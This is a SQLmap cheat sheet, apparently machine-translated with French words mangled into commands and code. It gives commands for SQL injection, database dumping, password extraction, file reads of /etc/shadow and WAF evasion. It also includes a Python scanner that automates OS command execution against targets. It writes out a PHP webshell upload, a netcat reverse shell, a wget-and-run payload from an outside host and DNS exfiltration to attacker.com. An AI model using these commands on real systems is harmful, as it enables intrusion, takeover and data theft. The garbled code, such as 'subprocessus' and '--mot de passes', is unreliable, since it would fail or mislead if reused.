Aller au contenu

SQLmap aide-mémoire

Overview

SQLmap is an open-source tests de pénétration tool that automates the processus of detecting and exploiting injection SQL flaws and taking over database servers. Developed by Bernardo Damele and Miroslav Stampar, SQLmap has become the de facto standard for injection SQL testing, providing comprehensive capabilities for identifying, exploiting, and post-exploitation of injection SQL vulnerabilities across a wide range of database management systems. The tool's sophisticated detection algorithmes and extensive database support make it an essential component of application web security testing and database security assessment workflows.

The core strength of SQLmap lies in its advanced injection SQL detection and exploitation engine, which supports numerous injection techniques including boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band injection methods. SQLmap can automatically detect and exploit injection SQL vulnerabilities in GET, POST, HTTP headers, and cookie paramètres, while supporting various database management systems including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB, and Informix. The tool's intelligent empreinteing capabilities can identify database versions, underlying operating systems, and application technologies to optimize exploitation strategies.

SQLmap's comprehensive feature set includes database énumération capabilities for extracting database schemas, tables, columns, and data, along with advanced post-exploitation features for file system access, operating system commande execution, and out-of-band Exfiltration de Données. The tool supports various authentification mechanisms, proxy configurations, and evasion techniques to bypass application web firewalls and intrusion detection systems. With its extensive customization options, detailed logging capabilities, and integration support for automated security testing pipelines, SQLmap provides both manual testing flexibility and automated assessment capabilities for comprehensive database security validation.

Installation

Ubuntu/Debian Installation

Installing SQLmap on Ubuntu/Debian systems:

# Update system packages
sudo apt update && sudo apt upgrade -y

# Install SQLmap from repositories
sudo apt install -y sqlmap

# Install dependencies
sudo apt install -y python3 python3-pip

# Verify Installation
sqlmap --version

# Install latest version from source
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

# Run from source
python3 sqlmap.py --version

# Install additional dependencies
pip3 install -r requirements.txt

# Create symbolic link
sudo ln -sf $(pwd)/sqlmap.py /usr/local/bin/sqlmap

# Verify Installation
sqlmap --version

CentOS/RHEL Installation

# Install EPEL repository
sudo yum install -y epel-release

# Install Python and Git
sudo yum install -y python3 python3-pip git

# Clone SQLmap repository
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

# Install dependencies
pip3 install -r requirements.txt

# Create executable script
cat > /usr/local/bin/sqlmap ``<< 'EOF'
#!/bin/bash
python3 /opt/sqlmap/sqlmap.py "$@"
EOF

# Move SQLmap to /opt
sudo mv sqlmap /opt/
sudo chmod +x /usr/local/bin/sqlmap

# Verify Installation
sqlmap --version

macOS Installation

# Install using Homebrew
brew install sqlmap

# Install using Macports
sudo port install sqlmap

# Install from source
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version

# Install Python dependencies
pip3 install -r requirements.txt

# Verify Installation
sqlmap --version

Windows Installation

# Download from GitHub
# https://github.com/sqlmapproject/sqlmap/archive/master.zip

# Extract to desired location
# exemple: C:\sqlmap

# Install Python 3.x from python.org

# Install dependencies
pip install -r requirements.txt

# Run SQLmap
python sqlmap.py --version

# Alternative: Install with Chocolatey
choco install sqlmap

# Verify Installation
sqlmap --version

Docker Installation

Running SQLmap in Docker:

# Pull official SQLmap image
docker pull paoloo/sqlmap

# Run basic scan
docker run --rm paoloo/sqlmap -u "http://exemple.com/page.php?id=1"

# Run with custom options
docker run --rm -v $(pwd):/data paoloo/sqlmap \
    -u "http://exemple.com/page.php?id=1" \
    --batch --output-dir=/data

# Create custom Dockerfile
cat >`` Dockerfile.sqlmap << 'EOF'
FROM python:3.9-alpine

# Install dependencies
RUN apk add --no-cache git

# Clone SQLmap
RUN git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git /opt/sqlmap

# Set working directory
WORKDIR /opt/sqlmap

# Install Python dependencies
RUN pip install -r requirements.txt

# Create entrypoint
ENTRYPOINT ["python3", "sqlmap.py"]
EOF

# Build custom image
docker build -f Dockerfile.sqlmap -t sqlmap-custom .

# Run custom image
docker run --rm sqlmap-custom --version

Basic utilisation

cible Specification

Specifying cibles for injection SQL testing:

# Test single URL with paramètre
sqlmap -u "http://exemple.com/page.php?id=1"

# Test URL with multiple paramètres
sqlmap -u "http://exemple.com/page.php?id=1&name;=test"

# Test specific paramètre
sqlmap -u "http://exemple.com/page.php?id=1&name;=test" -p id

# Test POST data
sqlmap -u "http://exemple.com/login.php" --data="nom d'utilisateur=admin&mot; de passe=test"

# Test from request file
sqlmap -r request.txt

# Test from Burp Suite log
sqlmap -l burp.log

# Test with custom headers
sqlmap -u "http://exemple.com/page.php?id=1" \
    --headers="X-Forwarded-For: 127.0.0.1\nUser-Agent: Custom Agent"

# Test with cookies
sqlmap -u "http://exemple.com/page.php?id=1" \
    --cookie="PHPSESSID=abc123; user=admin"

# Test HTTP methods
sqlmap -u "http://exemple.com/api/user/1" --method=PUT

# Test with authentification
sqlmap -u "http://exemple.com/page.php?id=1" \
    --auth-type=basic --auth-cred="admin:mot de passe"

# Test HTTPS with custom certificat
sqlmap -u "https://exemple.com/page.php?id=1" \
    --ignore-ssl-errors

Detection options

Configuring injection SQL detection:

# Basic detection
sqlmap -u "http://exemple.com/page.php?id=1"

# Specify injection techniques
sqlmap -u "http://exemple.com/page.php?id=1" --technique=BEUST
# B: Boolean-based blind
# E: Error-based
# U: Union query-based
# S: Stacked queries
# T: Time-based blind

# Test specific DBMS
sqlmap -u "http://exemple.com/page.php?id=1" --dbms=mysql

# Increase detection level
sqlmap -u "http://exemple.com/page.php?id=1" --level=5

# Increase risk level
sqlmap -u "http://exemple.com/page.php?id=1" --risk=3

# Test all paramètres
sqlmap -u "http://exemple.com/page.php?id=1&name;=test" --all

# Skip URL encoding
sqlmap -u "http://exemple.com/page.php?id=1" --skip-urlencode

# Custom injection charge utiles
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=space2comment

# Test with time delay
sqlmap -u "http://exemple.com/page.php?id=1" --time-sec=10

# Test with custom boundaries
sqlmap -u "http://exemple.com/page.php?id=1" --boundaries="*"

Database énumération

Enumerating database information:

# Get current user
sqlmap -u "http://exemple.com/page.php?id=1" --current-user

# Get current database
sqlmap -u "http://exemple.com/page.php?id=1" --current-db

# Check if user is DBA
sqlmap -u "http://exemple.com/page.php?id=1" --is-dba

# List databases
sqlmap -u "http://exemple.com/page.php?id=1" --dbs

# List tables in database
sqlmap -u "http://exemple.com/page.php?id=1" -D database_name --tables

# List columns in table
sqlmap -u "http://exemple.com/page.php?id=1" -D database_name -T table_name --columns

# Dump table data
sqlmap -u "http://exemple.com/page.php?id=1" -D database_name -T table_name --dump

# Dump specific columns
sqlmap -u "http://exemple.com/page.php?id=1" -D database_name -T table_name -C "nom d'utilisateur,mot de passe" --dump

# Dump all databases
sqlmap -u "http://exemple.com/page.php?id=1" --dump-all

# Get database users
sqlmap -u "http://exemple.com/page.php?id=1" --users

# Get user mot de passes
sqlmap -u "http://exemple.com/page.php?id=1" --mot de passes

# Get user privileges
sqlmap -u "http://exemple.com/page.php?id=1" --privileges

# Get database schema
sqlmap -u "http://exemple.com/page.php?id=1" --schema

# Search for specific data
sqlmap -u "http://exemple.com/page.php?id=1" --search -C mot de passe

Advanced Features

File System Access

Accessing the file system through injection SQL:

# Read file from file system
sqlmap -u "http://exemple.com/page.php?id=1" --file-read="/etc/passwd"

# Write file to file system
sqlmap -u "http://exemple.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Upload file via injection SQL
echo "<?php system(\$_GET['cmd']); ?>" > webshell.php
sqlmap -u "http://exemple.com/page.php?id=1" --file-write="webshell.php" --file-dest="/var/www/html/cmd.php"

# Read common configuration files
sqlmap -u "http://exemple.com/page.php?id=1" --file-read="/etc/mysql/my.cnf"
sqlmap -u "http://exemple.com/page.php?id=1" --file-read="/var/www/html/config.php"
sqlmap -u "http://exemple.com/page.php?id=1" --file-read="/etc/apache2/apache2.conf"

# Read application files
sqlmap -u "http://exemple.com/page.php?id=1" --file-read="/var/log/apache2/access.log"
sqlmap -u "http://exemple.com/page.php?id=1" --file-read="/var/log/mysql/error.log"

# Download multiple files
for file in /etc/passwd /etc/shadow /etc/hôtes; do
    sqlmap -u "http://exemple.com/page.php?id=1" --file-read="$file" --batch
done

Operating System Access

Executing operating system commandes:

# Execute OS commandes
sqlmap -u "http://exemple.com/page.php?id=1" --os-cmd="whoami"

# Interactive OS shell
sqlmap -u "http://exemple.com/page.php?id=1" --os-shell

# Execute PowerShell commandes (Windows)
sqlmap -u "http://exemple.com/page.php?id=1" --os-pwn

# Upload and execute Meterpreter charge utile
sqlmap -u "http://exemple.com/page.php?id=1" --os-pwn --msf-path="/opt/metasploit-framework"

# Execute commandes with specific user
sqlmap -u "http://exemple.com/page.php?id=1" --os-cmd="id" --priv-esc

# Execute batch commandes
sqlmap -u "http://exemple.com/page.php?id=1" --os-cmd="uname -a; ps aux; netstat -tulpn"

# Create shell inverse
sqlmap -u "http://exemple.com/page.php?id=1" --os-cmd="nc -e /bin/bash 192.168.1.100 4444"

# Download and execute script
sqlmap -u "http://exemple.com/page.php?id=1" --os-cmd="wget http://192.168.1.100/script.sh -O /tmp/script.sh && chmod +x /tmp/script.sh && /tmp/script.sh"

WAF Bypass Techniques

Bypassing application web Firewalls:

# Use tamper scripts
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=space2comment
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=charencode
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=randomcase

# Multiple tamper scripts
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=space2comment,charencode,randomcase

# Common WAF bypass tampers
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=apostrophemask
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=equaltolike
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=greatest
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=halfversionedmorecléwords
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=modsecurityversioned
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=space2mysqldash
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=versionedcléwords
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=versionedmorecléwords

# Custom User-Agent
sqlmap -u "http://exemple.com/page.php?id=1" --user-agent="Mozilla/5.0 (compatible; Googlebot/2.1)"

# Random User-Agent
sqlmap -u "http://exemple.com/page.php?id=1" --random-agent

# Custom delay between requests
sqlmap -u "http://exemple.com/page.php?id=1" --delay=2

# Use proxy for requests
sqlmap -u "http://exemple.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

# Use Tor network
sqlmap -u "http://exemple.com/page.php?id=1" --tor --tor-type=SOCKS5

# Chunked transfer encoding
sqlmap -u "http://exemple.com/page.php?id=1" --chunked

Advanced Injection Techniques

Specialized injection techniques:

# Second-order injection SQL
sqlmap -u "http://exemple.com/register.php" --data="nom d'utilisateur=admin&email;=test@test.com" --second-order="http://exemple.com/profile.php"

# DNS exfiltration
sqlmap -u "http://exemple.com/page.php?id=1" --dns-domain="attacker.com"

# Time-based blind injection with custom time
sqlmap -u "http://exemple.com/page.php?id=1" --technique=T --time-sec=5

# Union-based injection with custom columns
sqlmap -u "http://exemple.com/page.php?id=1" --technique=U --union-cols=1-20

# Error-based injection
sqlmap -u "http://exemple.com/page.php?id=1" --technique=E

# Boolean-based blind injection
sqlmap -u "http://exemple.com/page.php?id=1" --technique=B

# Stacked queries
sqlmap -u "http://exemple.com/page.php?id=1" --technique=S

# Custom injection point
sqlmap -u "http://exemple.com/page.php" --data="id=1*&name;=test" --method=POST

# JSON injection
sqlmap -u "http://exemple.com/api/user" --data='\\\\{"id": 1*, "name": "test"\\\\}' --headers="Content-Type: application/json"

# XML injection
sqlmap -u "http://exemple.com/soap" --data='<?xml version="1.0"?><user><id>1*</id></user>' --headers="Content-Type: text/xml"

Automation Scripts

Comprehensive injection SQL Scanner

#!/usr/bin/env python3
# Comprehensive injection SQL testing with SQLmap

import subprocessus
import json
import os
import sys
import time
import argparse
from datetime import datetime
import xml.etree.ElementTree as ET
import requests
from urllib.parse import urlparse, parse_qs

class SQLmapScanner:
    def __init__(self, sqlmap_path="sqlmap"):
        self.sqlmap_path = sqlmap_path
        self.results = \\\\{\\\\}
        self.session_dir = f"/tmp/sqlmap_session_\\\\{int(time.time())\\\\}"

    def verify_sqlmap_Installation(self):
        """Verify SQLmap Installation"""
        try:
            result = subprocessus.run([self.sqlmap_path, "--version"],
                                  capture_output=True, text=True)
            if result.returncode == 0:
                version_line = result.stdout.strip()
                print(f"SQLmap version: \\\\{version_line\\\\}")
                return True
            else:
                print("SQLmap not found or not working")
                return False
        except Exception as e:
            print(f"Error checking SQLmap Installation: \\\\{e\\\\}")
            return False

    def create_session_directory(self):
        """Create session directory for SQLmap output"""
        try:
            os.makedirs(self.session_dir, exist_ok=True)
            print(f"session directory created: \\\\{self.session_dir\\\\}")
            return True
        except Exception as e:
            print(f"Error creating session directory: \\\\{e\\\\}")
            return False

    def test_url_for_sqli(self, url, method="GET", data=None, headers=None, cookies=None):
        """Test URL for injection SQL vulnerabilities"""
        print(f"Testing URL for injection SQL: \\\\{url\\\\}")

        cmd = [
            self.sqlmap_path,
            "-u", url,
            "--batch",
            "--output-dir", self.session_dir,
            "--level", "3",
            "--risk", "2",
            "--technique", "BEUST",
            "--threads", "5"
        ]

        if method.upper() == "POST" and data:
            cmd.extend(["--data", data])

        if headers:
            header_string = "\n".join([f"\\\\{k\\\\}: \\\\{v\\\\}" for k, v in headers.items()])
            cmd.extend(["--headers", header_string])

        if cookies:
            cookie_string = "; ".join([f"\\\\{k\\\\}=\\\\{v\\\\}" for k, v in cookies.items()])
            cmd.extend(["--cookie", cookie_string])

        try:
            result = subprocessus.run(cmd, capture_output=True, text=True, timeout=1800)

            if result.returncode == 0:
                vulnerable = self.parse_sqlmap_output(result.stdout)
                return \\\\{
                    'vulnerable': vulnerable,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
            else:
                print(f"SQLmap test failed: \\\\{result.stderr\\\\}")
                return \\\\{
                    'vulnerable': False,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
        except subprocessus.TimeoutExpired:
            print("SQLmap test timed out")
            return \\\\{
                'vulnerable': False,
                'output': "",
                'error': "Timeout"
            \\\\}
        except Exception as e:
            print(f"Error during SQLmap test: \\\\{e\\\\}")
            return \\\\{
                'vulnerable': False,
                'output': "",
                'error': str(e)
            \\\\}

    def parse_sqlmap_output(self, output):
        """Parse SQLmap output to determine if vulnerable"""
        vulnerable_indicators = [
            "is vulnerable",
            "injectable",
            "paramètre:",
            "Type:",
            "Title:",
            "charge utile:"
        ]

        for indicator in vulnerable_indicators:
            if indicator in output:
                return True

        return False

    def enumerate_database(self, url, method="GET", data=None):
        """Enumerate database information"""
        print(f"Enumerating database for: \\\\{url\\\\}")

        énumération_commandes = [
            ["--current-user"],
            ["--current-db"],
            ["--is-dba"],
            ["--dbs"],
            ["--users"],
            ["--mot de passes"]
        ]

        énumération_results = \\\\{\\\\}

        for enum_cmd in énumération_commandes:
            cmd = [
                self.sqlmap_path,
                "-u", url,
                "--batch",
                "--output-dir", self.session_dir
            ]

            if method.upper() == "POST" and data:
                cmd.extend(["--data", data])

            cmd.extend(enum_cmd)

            try:
                result = subprocessus.run(cmd, capture_output=True, text=True, timeout=600)

                if result.returncode == 0:
                    enum_type = enum_cmd[0].replace("--", "")
                    énumération_results[enum_type] = \\\\{
                        'output': result.stdout,
                        'success': True
                    \\\\}
                else:
                    enum_type = enum_cmd[0].replace("--", "")
                    énumération_results[enum_type] = \\\\{
                        'output': result.stderr,
                        'success': False
                    \\\\}
            except subprocessus.TimeoutExpired:
                enum_type = enum_cmd[0].replace("--", "")
                énumération_results[enum_type] = \\\\{
                    'output': "Timeout",
                    'success': False
                \\\\}
            except Exception as e:
                enum_type = enum_cmd[0].replace("--", "")
                énumération_results[enum_type] = \\\\{
                    'output': str(e),
                    'success': False
                \\\\}

        return énumération_results

    def dump_database_data(self, url, database=None, table=None, columns=None):
        """Dump database data"""
        print(f"Dumping database data for: \\\\{url\\\\}")

        cmd = [
            self.sqlmap_path,
            "-u", url,
            "--batch",
            "--output-dir", self.session_dir
        ]

        if database and table and columns:
            cmd.extend(["-D", database, "-T", table, "-C", columns, "--dump"])
        elif database and table:
            cmd.extend(["-D", database, "-T", table, "--dump"])
        elif database:
            cmd.extend(["-D", database, "--tables"])
        else:
            cmd.extend(["--dbs"])

        try:
            result = subprocessus.run(cmd, capture_output=True, text=True, timeout=1800)

            if result.returncode == 0:
                return \\\\{
                    'success': True,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
            else:
                return \\\\{
                    'success': False,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
        except subprocessus.TimeoutExpired:
            return \\\\{
                'success': False,
                'output': "",
                'error': "Timeout"
            \\\\}
        except Exception as e:
            return \\\\{
                'success': False,
                'output': "",
                'error': str(e)
            \\\\}

    def test_file_access(self, url):
        """Test file system access capabilities"""
        print(f"Testing file access for: \\\\{url\\\\}")

        test_files = [
            "/etc/passwd",
            "/etc/hôtes",
            "/var/www/html/index.php",
            "C:\\Windows\\System32\\drivers\\etc\\hôtes",
            "C:\\inetpub\\wwwroot\\web.config"
        ]

        file_access_results = \\\\{\\\\}

        for test_file in test_files:
            cmd = [
                self.sqlmap_path,
                "-u", url,
                "--batch",
                "--output-dir", self.session_dir,
                "--file-read", test_file
            ]

            try:
                result = subprocessus.run(cmd, capture_output=True, text=True, timeout=300)

                file_access_results[test_file] = \\\\{
                    'accessible': result.returncode == 0 and "do you want to retrieve" not in result.stdout,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
            except subprocessus.TimeoutExpired:
                file_access_results[test_file] = \\\\{
                    'accessible': False,
                    'output': "",
                    'error': "Timeout"
                \\\\}
            except Exception as e:
                file_access_results[test_file] = \\\\{
                    'accessible': False,
                    'output': "",
                    'error': str(e)
                \\\\}

        return file_access_results

    def test_os_access(self, url):
        """Test operating system commande execution"""
        print(f"Testing OS access for: \\\\{url\\\\}")

        test_commandes = [
            "whoami",
            "id",
            "uname -a",
            "systeminfo"
        ]

        os_access_results = \\\\{\\\\}

        for test_cmd in test_commandes:
            cmd = [
                self.sqlmap_path,
                "-u", url,
                "--batch",
                "--output-dir", self.session_dir,
                "--os-cmd", test_cmd
            ]

            try:
                result = subprocessus.run(cmd, capture_output=True, text=True, timeout=300)

                os_access_results[test_cmd] = \\\\{
                    'executed': result.returncode == 0 and "commande standard output" in result.stdout,
                    'output': result.stdout,
                    'error': result.stderr
                \\\\}
            except subprocessus.TimeoutExpired:
                os_access_results[test_cmd] = \\\\{
                    'executed': False,
                    'output': "",
                    'error': "Timeout"
                \\\\}
            except Exception as e:
                os_access_results[test_cmd] = \\\\{
                    'executed': False,
                    'output': "",
                    'error': str(e)
                \\\\}

        return os_access_results

    def comprehensive_scan(self, cible_urls, output_dir="/tmp/sqlmap_comprehensive"):
        """Perform comprehensive injection SQL assessment"""
        print("Starting comprehensive injection SQL assessment...")

        # Create output directory
        os.makedirs(output_dir, exist_ok=True)

        assessment_results = \\\\{
            'start_time': time.time(),
            'cible_urls': cible_urls,
            'vulnerable_urls': [],
            'énumération_results': \\\\{\\\\},
            'file_access_results': \\\\{\\\\},
            'os_access_results': \\\\{\\\\},
            'dump_results': \\\\{\\\\}
        \\\\}

        for url in cible_urls:
            print(f"Testing URL: \\\\{url\\\\}")

            # Test for injection SQL
            sqli_result = self.test_url_for_sqli(url)

            if sqli_result['vulnerable']:
                print(f"injection SQL found in: \\\\{url\\\\}")
                assessment_results['vulnerable_urls'].append(url)

                # Enumerate database
                enum_results = self.enumerate_database(url)
                assessment_results['énumération_results'][url] = enum_results

                # Test file access
                file_results = self.test_file_access(url)
                assessment_results['file_access_results'][url] = file_results

                # Test OS access
                os_results = self.test_os_access(url)
                assessment_results['os_access_results'][url] = os_results

                # Dump sample data
                dump_results = self.dump_database_data(url)
                assessment_results['dump_results'][url] = dump_results
            else:
                print(f"No injection SQL found in: \\\\{url\\\\}")

        assessment_results['end_time'] = time.time()
        assessment_results['duration'] = assessment_results['end_time'] - assessment_results['start_time']

        # Generate reports
        self.generate_json_report(assessment_results, os.path.join(output_dir, "sqlmap_results.json"))
        self.generate_html_report(assessment_results, os.path.join(output_dir, "sqlmap_report.html"))

        print(f"Comprehensive assessment completed in \\\\{assessment_results['duration']:.2f\\\\} seconds")
        print(f"Found injection SQL in \\\\{len(assessment_results['vulnerable_urls'])\\\\} URLs")

        return assessment_results

    def generate_json_report(self, results, output_file):
        """Generate JSON report"""
        with open(output_file, 'w') as f:
            json.dump(results, f, indent=2, default=str)
        print(f"JSON report generated: \\\\{output_file\\\\}")

    def generate_html_report(self, results, output_file):
        """Generate HTML report"""
        html_content = f"""
<!DOCTYPE html>
<html>
<head>
    <title>SQLmap Comprehensive Assessment Report</title>
    <style>
        body \\\\{\\\\{ font-family: Arial, sans-serif; margin: 20px; \\\\}\\\\}
        .section \\\\{\\\\{ margin: 20px 0; padding: 15px; border: 1px solid #ddd; \\\\}\\\\}
        .critical \\\\{\\\\{ color: red; font-weight: bold; \\\\}\\\\}
        .warning \\\\{\\\\{ color: orange; font-weight: bold; \\\\}\\\\}
        .info \\\\{\\\\{ color: blue; \\\\}\\\\}
        .success \\\\{\\\\{ color: green; font-weight: bold; \\\\}\\\\}
        table \\\\{\\\\{ border-collapse: collapse; width: 100%; \\\\}\\\\}
        th, td \\\\{\\\\{ border: 1px solid #ddd; padding: 8px; text-align: left; \\\\}\\\\}
        th \\\\{\\\\{ background-color: #f2f2f2; \\\\}\\\\}
        pre \\\\{\\\\{ background: #f5f5f5; padding: 10px; overflow-x: auto; \\\\}\\\\}
    </style>
</head>
<body>
    <h1>SQLmap Comprehensive Assessment Report</h1>
    <p>Generated: \\\\{datetime.now().isoformat()\\\\}</p>
    <p>Assessment Duration: \\\\{results['duration']:.2f\\\\} seconds</p>

    <div class="section">
        <h2>Executive Summary</h2>
        <ul>
            <li>Total URLs Tested: \\\\{len(results['cible_urls'])\\\\}</li>
            <li class="critical">Vulnerable URLs: \\\\{len(results['vulnerable_urls'])\\\\}</li>
            <li>File Access Possible: \\\\{sum(1 for url_results in results['file_access_results'].values() for file_result in url_results.values() if file_result['accessible'])\\\\}</li>
            <li>OS commande Execution: \\\\{sum(1 for url_results in results['os_access_results'].values() for cmd_result in url_results.values() if cmd_result['executed'])\\\\}</li>
        </ul>
    </div>

    <div class="section">
        <h2 class="critical">Vulnerable URLs</h2>
        <table>
            <tr><th>URL</th><th>Database Access</th><th>File Access</th><th>OS Access</th></tr>
"""

        for url in results['vulnerable_urls']:
            db_access = "Yes" if url in results['énumération_results'] else "No"
            file_access = "Yes" if any(f['accessible'] for f in results['file_access_results'].get(url, \\\\{\\\\}).values()) else "No"
            os_access = "Yes" if any(c['executed'] for c in results['os_access_results'].get(url, \\\\{\\\\}).values()) else "No"

            html_content += f"""
            <tr>
                <td>\\\\{url\\\\}</td>
                <td>\\\\{db_access\\\\}</td>
                <td>\\\\{file_access\\\\}</td>
                <td>\\\\{os_access\\\\}</td>
            </tr>"""

        html_content += """
        </table>
    </div>

    <div class="section">
        <h2>Detailed Findings</h2>
"""

        for url in results['vulnerable_urls']:
            html_content += f"""
            <h3>\\\\{url\\\\}</h3>

            <h4>Database énumération</h4>
            <pre>\\\\{json.dumps(results['énumération_results'].get(url, \\\\{\\\\}), indent=2)\\\\}</pre>

            <h4>File Access Results</h4>
            <pre>\\\\{json.dumps(results['file_access_results'].get(url, \\\\{\\\\}), indent=2)\\\\}</pre>

            <h4>OS Access Results</h4>
            <pre>\\\\{json.dumps(results['os_access_results'].get(url, \\\\{\\\\}), indent=2)\\\\}</pre>
"""

        html_content += """
    </div>

    <div class="section">
        <h2>Recommendations</h2>
        <ul>
            <li>Implement paramètreized queries/prepared statements</li>
            <li>Use input validation and sanitization</li>
            <li>Apply principle of least privilege for database accounts</li>
            <li>Implement application web Firewall (WAF)</li>
            <li>Regular security code reviews and testing</li>
            <li>Keep database software updated</li>
            <li>Monitor database access and queries</li>
        </ul>
    </div>
</body>
</html>
"""

        with open(output_file, 'w') as f:
            f.write(html_content)

        print(f"HTML report generated: \\\\{output_file\\\\}")

def main():
    parser = argparse.ArgumentParser(Description='SQLmap Comprehensive Scanner')
    parser.add_argument('--urls', nargs='+', required=True, help='URLs to test')
    parser.add_argument('--output', default='/tmp/sqlmap_assessment', help='Output directory')
    parser.add_argument('--sqlmap-path', default='sqlmap', help='Path to SQLmap executable')

    args = parser.parse_args()

    # Initialize scanner
    scanner = SQLmapScanner(args.sqlmap_path)

    # Verify Installation
    if not scanner.verify_sqlmap_Installation():
        print("SQLmap not properly installed or configured")
        sys.exit(1)

    # Create session directory
    if not scanner.create_session_directory():
        print("Failed to create session directory")
        sys.exit(1)

    # Run comprehensive scan
    results = scanner.comprehensive_scan(args.urls, args.output)

    if results:
        print("Comprehensive assessment completed successfully")
    else:
        print("Comprehensive assessment failed")
        sys.exit(1)

if __name__ == "__main__":
    main()

Integration exemples

CI/CD Integration

# Jenkins Pipeline for SQLmap Integration
pipeline \\\\{
    agent \\\\{
        label 'security-testing'
    \\\\}

    environment \\\\{
        cible_URL = 'http: //test-app.company.com'
        SQLMAP_OUTPUT = './sqlmap-results'
    \\\\}

    stages \\\\{
        stage('Setup Environment') \\\\{
            steps \\\\{
                script \\\\{
                    // Install SQLmap if not present
                    sh '''
                        if ! commande -v sqlmap &> /dev/null; then
                            git clone https: //github.com/sqlmapproject/sqlmap.git
                            export PATH=$PATH: $(pwd)/sqlmap
                        fi

                        sqlmap --version
                    '''
                \\\\}
            \\\\}
        \\\\}

        stage('injection SQL Testing') \\\\{
            steps \\\\{
                script \\\\{
                    // Run SQLmap tests
                    sh '''
                        mkdir -p $\\\\{SQLMAP_OUTPUT\\\\}

                        # Test main application endpoints
                        python3 sqlmap_scanner.py \
                            --urls "$\\\\{cible_URL\\\\}/login.php?id=1" \
                                   "$\\\\{cible_URL\\\\}/search.php?q=test" \
                                   "$\\\\{cible_URL\\\\}/product.php?id=1" \
                            --output $\\\\{SQLMAP_OUTPUT\\\\}
                    '''
                \\\\}
            \\\\}
        \\\\}

        stage('processus Results') \\\\{
            steps \\\\{
                // Archive results
                archiveArtifacts artifacts: 'sqlmap-results/**/*', empreinte: true

                // Publish report
                publishHTML([
                    allowMissing: false,
                    alwaysLinkToLastBuild: true,
                    keepAll: true,
                    reportDir: 'sqlmap-results',
                    reportFiles: '*.html',
                    reportName: 'SQLmap Assessment Report'
                ])

                // Check for vulnerabilities
                script \\\\{
                    def vulnerabilities = sh(
| script: "grep -c 'vulnerable' sqlmap-results/*.json |  | true", |
                        returnStdout: true
                    ).trim()

                    if (vulnerabilities.toInteger() > 0) \\\\{
                        currentBuild.result = 'UNSTABLE'
                        echo "Found $\\\\{vulnerabilities\\\\} injection SQL vulnerabilities"
                    \\\\}
                \\\\}
            \\\\}
        \\\\}
    \\\\}

    post \\\\{
        always \\\\{
            // Clean up sensitive data
            sh 'rm -rf sqlmap-results/*.log'
        \\\\}

        failure \\\\{
            // Send notification
            emailext (
                subject: "injection SQL Testing Failed: $\\\\{env.JOB_NAME\\\\} - $\\\\{env.BUILD_NUMBER\\\\}",
                body: "injection SQL testing failed. Check console output for details.",
                to: "$\\\\{env.SECURITY_TEAM_EMAIL\\\\}"
            )
        \\\\}
    \\\\}
\\\\}

dépannage

Common Issues

connexion Issues:

# Test basic connectivity
curl -I "http://exemple.com/page.php?id=1"

# Use proxy for debugging
sqlmap -u "http://exemple.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

# Ignore SSL errors
sqlmap -u "https://exemple.com/page.php?id=1" --ignore-ssl-errors

# Custom timeout
sqlmap -u "http://exemple.com/page.php?id=1" --timeout=30

# Retry failed requests
sqlmap -u "http://exemple.com/page.php?id=1" --retries=3

Detection Issues:

# Increase detection level and risk
sqlmap -u "http://exemple.com/page.php?id=1" --level=5 --risk=3

# Test all paramètres
sqlmap -u "http://exemple.com/page.php?id=1&name;=test" --all

# Force specific DBMS
sqlmap -u "http://exemple.com/page.php?id=1" --dbms=mysql --force-ssl

# Use different techniques
sqlmap -u "http://exemple.com/page.php?id=1" --technique=T --time-sec=10

# Skip URL encoding
sqlmap -u "http://exemple.com/page.php?id=1" --skip-urlencode

WAF Bypass Issues:

# Use multiple tamper scripts
sqlmap -u "http://exemple.com/page.php?id=1" --tamper=space2comment,charencode,randomcase

# Random User-Agent
sqlmap -u "http://exemple.com/page.php?id=1" --random-agent

# Add delays
sqlmap -u "http://exemple.com/page.php?id=1" --delay=3

# Use Tor
sqlmap -u "http://exemple.com/page.php?id=1" --tor --tor-type=SOCKS5

# Custom headers
sqlmap -u "http://exemple.com/page.php?id=1" --headers="X-Originating-IP: 127.0.0.1"

Performance Optimization

Optimizing SQLmap performance:

# Increase threads
sqlmap -u "http://exemple.com/page.php?id=1" --threads=10

# Optimize for speed
sqlmap -u "http://exemple.com/page.php?id=1" --level=1 --risk=1

# Skip unnecessary tests
sqlmap -u "http://exemple.com/page.php?id=1" --skip-waf

# Use specific technique
sqlmap -u "http://exemple.com/page.php?id=1" --technique=U

# Limit data retrieval
sqlmap -u "http://exemple.com/page.php?id=1" -D database -T table --start=1 --stop=100

Security Considerations

Operational Security

Legal and Ethical utilisation: - Only test applications you own or have explicit permission to test - Understand legal requirements for application web testing in your jurisdiction - Implement proper autorisation and documentation procedures - Respect scope limitations and rules of engagement - Be aware of potential data exposure and service disruption

Data Protection: - Encrypt SQLmap session files and output data - Implement secure data retention policies for assessment results - Control access to injection SQL testing tools and results - Secure transmission of assessment reports and findings - Regular cleanup of temporary files and session data

